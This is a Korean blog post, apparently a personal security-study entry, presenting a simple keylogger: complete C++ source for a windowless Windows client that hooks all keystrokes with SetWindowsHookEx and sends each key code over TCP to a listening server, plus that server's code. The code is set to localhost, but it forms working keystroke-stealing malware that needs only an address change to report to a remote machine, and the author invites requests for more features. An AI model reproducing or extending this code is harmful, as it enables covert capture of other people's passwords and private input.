티스토리 뷰

정말 간단한 키보드 후킹 프로그램을 만들었습니다.

작동 원리는 간단합니다.

 

1. SetWindowsHookEx() API를 통해서 클라이언트 측 키보드 값을 후킹합니다.

2. 서버 측에 입력받은 키보드 값을 DWORD 형태로 전달합니다.

3. 서버 측에서는 입력받은 키보드 값을 출력해줍니다.

 

SetWindowsHookEx의 형태는 검색을 해보시면 다양한 자료들을 얻으실 수 있겠지만, 간단하게만 말씀드리면 

_hook = SetWindowsHookEx(WH_KEYBOARD_LL, UseFunction, hInstance, NULL); 이런 형식으로 됩니다.

 

사용할 함수에는 키보드를 입력받았을 때 행동할 함수를 작성하여 넣어주시면 됩니다. 아래는 기본형태입니다.

LRESULT CALLBACK AnyName(int code, WPARAM wParam, LPARAM lParam) { ... }

 

소켓 통신같은 경우에는 다른 서버 형태 안넣고 그냥 동기형식의 기본 소켓 통신을 사용하였습니다. 아 참고로 클라이언트 측에서 아무 창이 뜨지 않는 이유는 Visual Studio에서 창 형태로 실행시키기 때문입니다.

 

마지막으로 집가기 1시간 전에 간단하게만 만든거라 정말 조잡합니다. 추후에 좀 더 향상시켜서 코드 추가해 올리도록 노력해보겠습니다. 추가적인 기능 원하시는거 있으시면 댓글 달아주시면 넣어보겠습니다.


클라이언트 코드

더보기
#include <iostream>
#include <WinSock2.h>
#pragma comment(lib, "ws2_32.lib")
#pragma warning(disable:4996)

HHOOK _hook;

#define PORT 3600
#define IP "127.0.0.1"

void NetWorking_Init();
SOCKET sock;
SOCKADDR_IN sock_addr;

LRESULT CALLBACK Keyboard(int code, WPARAM wParam, LPARAM lParam)
{

	if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
		PKBDLLHOOKSTRUCT pKey = (PKBDLLHOOKSTRUCT)lParam;
		if (code >= 0 && (int)wParam == 256) {
			send(sock, reinterpret_cast<char*>(&pKey->vkCode), sizeof(DWORD), 0);
		}
	}

	return CallNextHookEx(_hook, code, wParam, lParam);
}

void SetHook() {
	HMODULE hInstance = GetModuleHandle(NULL);
	_hook = SetWindowsHookEx(WH_KEYBOARD_LL, Keyboard, hInstance, NULL);
}

void UnHook() {
	UnhookWindowsHookEx(_hook);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, char*, int nShowCmd)
{
	NetWorking_Init();
	SetHook();
	MSG msg;
	while (GetMessage(&msg, 0, 0, 0))
	{
		TranslateMessage(&msg);
		DispatchMessage(&msg);
	}
	UnHook();
	closesocket(sock);
	WSACleanup();
}

void NetWorking_Init()
{
	WSADATA wsaData;


	if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
		return;

	sock = socket(AF_INET, SOCK_STREAM, 0);
	if (sock == INVALID_SOCKET)
		return;

    ZeroMemory(&sock_addr, sizeof(struct sockaddr_in));

    sock_addr.sin_family = AF_INET;
    sock_addr.sin_port = htons(PORT);
    sock_addr.sin_addr.S_un.S_addr = inet_addr(IP);

	if (::connect(sock, reinterpret_cast<SOCKADDR*>(&sock_addr), sizeof(SOCKADDR)))
		return;
}

 

서버 코드

더보기
#include <iostream>
#include <WinSock2.h>
#pragma comment(lib, "ws2_32.lib")
#pragma warning(disable:4996)

using namespace std;
#define PORT 3600
#define IP "127.0.0.1"

void HandleError(const char* cause) {
    int errCode = ::WSAGetLastError();
    std::cout << cause << "Error Code : " << errCode << std::endl;
}

void NetWorking_Init();

SOCKET listen_s;
SOCKADDR_IN sock_addr;

int main() {

    NetWorking_Init();

    SOCKADDR_IN client_addr;
    SOCKET client_s;

    ZeroMemory(&client_addr, sizeof(struct sockaddr_in));

    int nAcceptClientInfo = sizeof(struct sockaddr_in);
    client_s = accept(listen_s, (struct sockaddr*)&client_addr, &nAcceptClientInfo);
    int nReceiveBytes = 0;
    printf("New Client Connected : %s\n", inet_ntoa(client_addr.sin_addr));
    
    DWORD buffer;
    int recvLen = 0;
    while (1) {
        recvLen = recv(client_s, reinterpret_cast<char*>(&buffer), sizeof(DWORD), 0);
        if (recvLen == 0)
            break;
        cout << "Data : " << buffer << endl;
    }
    closesocket(client_s);
    closesocket(listen_s);
    WSACleanup();
}

void NetWorking_Init()
{
    WSADATA wsaData;
    SOCKADDR_IN sock_addr;
    int addr_len;

    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
        HandleError("WSAStartup");

    listen_s = socket(AF_INET, SOCK_STREAM, 0);
    if (listen_s == INVALID_SOCKET)
        HandleError("socket");

    ZeroMemory(&sock_addr, sizeof(struct sockaddr_in));

    sock_addr.sin_family = AF_INET;
    sock_addr.sin_port = htons(PORT);
    sock_addr.sin_addr.S_un.S_addr = htonl(INADDR_ANY);

    if (bind(listen_s, (struct sockaddr*)&sock_addr, sizeof(struct sockaddr_in)) == SOCKET_ERROR)
    {
        HandleError("Bind");
        return;
    }
    if (listen(listen_s, 5) == SOCKET_ERROR)
    {
        HandleError("listen");
        return;
    }
}

'보안공부' 카테고리의 다른 글

DES 암호학  (0) 2023.05.24
DreamHack 리버싱) 레지스터란?  (0) 2022.06.08
메모리 보호기법 ) Canary, ASLR, NX  (0) 2022.06.03
Dreamhack System Hacking) ROP 실습  (0) 2022.06.03
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2024/04   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
글 보관함